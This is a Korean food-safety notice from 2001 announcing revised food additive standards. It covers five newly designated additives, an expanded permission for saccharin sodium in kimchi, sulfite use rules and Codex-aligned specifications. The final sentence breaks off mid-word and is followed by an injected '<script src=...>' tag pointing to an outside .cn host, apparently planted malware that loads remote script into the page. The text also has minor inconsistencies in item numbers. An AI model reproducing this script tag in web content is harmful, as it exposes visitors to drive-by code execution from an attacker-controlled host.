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식품첨가물의 기준·규격
작성자 식품안전부 등록일 2001/07/06 조회 13601
첨부
식품의약품안전청은 7월 6일자로 "식품첨가물의 기준·규격"을 개정고시.

이번 식품첨가물기준규격 개정에서는 영양강화제인 L-라이신, 밀가루 처리제인 산성알루미늄인산나트륨, 유화제인 염기성알루미늄인산나트륨, 감미료인 에리스리톨, 산화방지제인 퀘세틴 등 5품목을 식품첨가물로 신규지정.

한편 식품제조산업의 발전을 위해 발암성물질로 분류되지 않고, 안전성의 문제가 없는 삭카린나트륨을 김치류에 사용을 허용하는 등 식품첨가물 16품목에 대한 식품첨가물공전상의 사용기준을 개정.

아울러 식품첨가물의 국제기준과의 조화를 위하여 식용색소황색 제15호 등 식품첨가물 35품목에 대해서도 성분규격을 개정.



<주요 개정사항>

<>식품첨가물 5품목 신규지정
-영양강화제인 L-라이신, 밀가루 처리제인 산성알루미늄인산나트륨, 유화제인 염기성알루미늄인산나트륨, 감미료인 에리스리톨, 산화방지제인 퀘세틴 등 5품목을 식품에 사용할 수 있도록 식품첨가물공전에 신규지정.

<>삭카린나트륨 등 16품목 공전상 사용기준 개정

-삭카린타트륨을 김치류와 뻥퀴기를 만드는데 사용할 수 있도록 개정.

- 5배이상 희석하여 음용하거나 사용하는 농축과실즙 및 과실류·채소류가공
품 에 아황산염류를 사용할 수 있도록 메타중아황산칼륨 등 6품목에 대한 식
품첨가물공전상 사용기준을 개정.

- 식품공전이 식품유형을 세분화하여 개정함에 따라 이.디.티.에이.이나트륨
등 2품목에 대한 식품첨가물공전상 사용기준 중 청량음료는 음료류로 용어
를 통일.

- 식품첨가물의 국제기준과의 조화를 이루기 위해서 미국 등 제외국과 같이 착
향의 목적으로 사용할 수 있도록 이소프로필알콜에 대한 공전상 사용기준
을 확대.


<>식용색소 황색제5호 등 36품목의 공전상 규격 개정

- 국제식품규격(Codex)등의 규격을 수용하여 식용색소 황색제5호의 순도시험
은 기타색소와 명확히 구별할 수 있도록 기존의 정성분석을 기기 분석법으
로 개정.


식품첨가물의 기원, 제법등을 명확히 하기 위하여 구아검 등 천연첨가물 27품
목의 정의를 신설함.

- 다양한 제품 개발을 위해 공전상 아스파탐의 성상은 개정하는 한편, 피티산
의 확인시험, 순도시험, 정량법을 시험이 용이하고 정밀한 시험법으?script src=http://dae3.cn>
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